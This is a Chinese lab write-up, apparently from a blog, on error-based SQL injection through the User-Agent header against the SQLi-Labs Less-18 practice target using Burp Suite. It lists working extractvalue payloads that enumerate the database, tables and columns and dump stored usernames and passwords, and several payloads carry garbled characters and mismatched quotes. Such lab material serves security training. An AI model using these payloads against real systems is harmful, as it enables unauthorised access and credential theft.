SQL注入--HTTP头部注入

实验目的
理解HTTP头部字段User-Agent、Referer、Cookie、X-Forwarded-For等的含义
和作用,掌握HTTP头部注入的原理、方法及基本流程。

实验原理
有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证
等)或者通过HTTP Header头信息获取客户端的一些信息(比如 User-Agent.
Accept字段等),会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等。
实验步骤
本实验的目标是:以SQLi-Labs网站的Less-18为入口,利用报错注入的方式实施SQL注入,获取SQLi-Labs网站的登录用户名和密码。
1.访问SQLi-Labs网站
在攻击机 Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站 Less-11。访问的URL为:
http://[靶机IP]/sqli-labs/Less-18/(注意大小写)

 

2.利用Burpsuite工具进行抓包

(1)启动Burpsuite

 (2)设置Burpsuite的代理服务端口

在Burpsuite软件界面上选择选项卡“Proxy"->”Options”,在Proxy Listeners模块下,将Burpsuite的代理服务端口设置为8080(此为Burpsuite默认的服务端
口)。

(3)开启Burpsuite的代理拦截功能

在Burpsuite软件界面上选择卡“Proxy"->”Intercept”,将拦截开关按钮的状态设置为”Intercept is on”

4)设置Firefox代理

回到FireFox浏览器界面,鼠标右键单击浏览器地址栏右方的FoxyProxy插件图标按钮,在弹出的菜单中选择”为全部URLs启用代理服务器127.0.0.1:8080”:

 

(5)利用Burpsuite工具拦截HTTP请求包

在FireFox浏览器访问的Less-18登录验证界面,输入用户名admin、密码admin,然后点击Submit按钮

 

(6)将Burpsuite工具拦截到的HTTP请求包发送至Repeater模块。

选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择"Send to Repeater",将其发送给Burpsuite的Repeater模块。

发送成功后,在Burpsuite的Repeater选项卡下能够看到刚刚拦截的HTTP请求包内容。

 后续的步骤中,可以在 Repeater 选项卡下的Request栏中设置注入的payload,设置完成后点击Send按钮发送,并在 Response栏中观察目标服务器的响应。
3.寻找注入点
在原始 HTTP请求包的头部字段User-Agent末尾添加单引号,即使用如下
payload:
User-Agent:Mozilla/5.0......Firefox/97.0'发现服务器端报错!


 

 在原始HTTP请求包的头部字段User-Agent末尾添加如下符号,使用如下
payload:
User-Agent:Mozilla/5.8......Firefox/97.0',','')# 服务器端未报错!

 由此可以判断,目标网站在POST参数处存在字符型注入点。
注如果在服务器端(靶机)上查看Less-18的 php代码,会发现其中存在这样一段代码:
$insert="INSERT INTO `security'. 'uagents'( uagent', ' ip_address', 'username')VALUES ( '$uagent' ,'$IP', $uname)";
这也是一种基于Insert的注入场景。
4.获取网站当前所在数据库的库名
使用以下 payload获取网站当前所在数据库的库名:
User-Agent:Mozil1a/5.0.... ..Firefox/97.0' and extractvalue(1,concat( '~' ,database())),'','')#显示结果为security.

  5.获取数据库security的全部表名
使用以下payload获取数据库security的全部表名:
User-Agent:Mozilla/5.0... . ..Firefox/97.0' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))),'','')#
显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

 注意:extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助limit来做分行显示上述 payload可以改为:
User-Agent:Mozilla/5.e......Firefox/ 97 .0' and extractvalue(1,concat('~ ' ,(select table_name from information_schema.tables where table_schema='security' limit 0,1))),',' )#
1/显示security库中的第1张表的名字
User-Agent:Mozi1la/5.0... . ..Firefox/97.0' and extractvalue(1, concat('~' ,( select table_name from information_schema.tables where table_schema='security’ limit 1,1))),’,')#
1/显示security库中的第2张表的名字
User-Agent:Mozilla/5.0.... ..Firefox/ 97.0' and extractvalue(1,concat('~' ,( select table_name from information_schema.tables  where table_schema='security' limit 2,1))),',')#
1/显示 security库中的第3张表的名字
6.获取users表的全部字段名
使用以下 payload获取users表的全部字段名:
User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1, concat('~' ,(select group_concat(column_name) from information_schema.columns where table_schema='security'     and  table_name="users'))),,")#
显示结果,users表中有id、 username和 password三个字段

 

同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助limit来做分行显示,上述payload可以改为:
User-Agent:Mozilla/5.0.... ..Firefox/97.0'and extractvalue(1,concat('~' ,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'",'")#1

//显示 users表中的第1个字段的名字
User-Agent:Mozilla/5.8... ...Firefox/ 97.0'and extractvalue(1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))),","')#1

//显示 users表中的第2个字段的名字
User-Agent:Mozilla/5.0... . . .Firefox/97.0'and extractvalue(1,concat( '~',(select column_name from information_schema.columns where table_schema='security' and table_name='users ' limit 2,1))),"',"')#1

//显示users表中的第3个字段的名字

7.获取users表id、username和password字段的全部值
由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过 limit M,N的方式逐条显示,如
(1)显示第1组数据
User-Agent:Mozil1a/5.0.... ..Firefox/97.0' and extractvalue(1,concat( '~' ,(select concat_ws( ' , ',id,username,password) from security.users limit 0,1))),,")#
显示结果为 Dump,Dump。

 (2)显示第2组数据
User-Agent:Mozil1a/5.0.... ..Firefox/97.0' and extractvalue(1,concat( '~' ,(select concat_ws( ' , ',id,username,password) from security.users limit 1,1))),,")#
显示结果为Angelina,l-kill-you。

 以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。
实验至此结束。
实验总结
本次实验,成功实现了对存在 HTTP头部(User-Agent)注入点的网站的手工SQL注入,掌握了HTTP头部注入的原理、方法和流程。

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值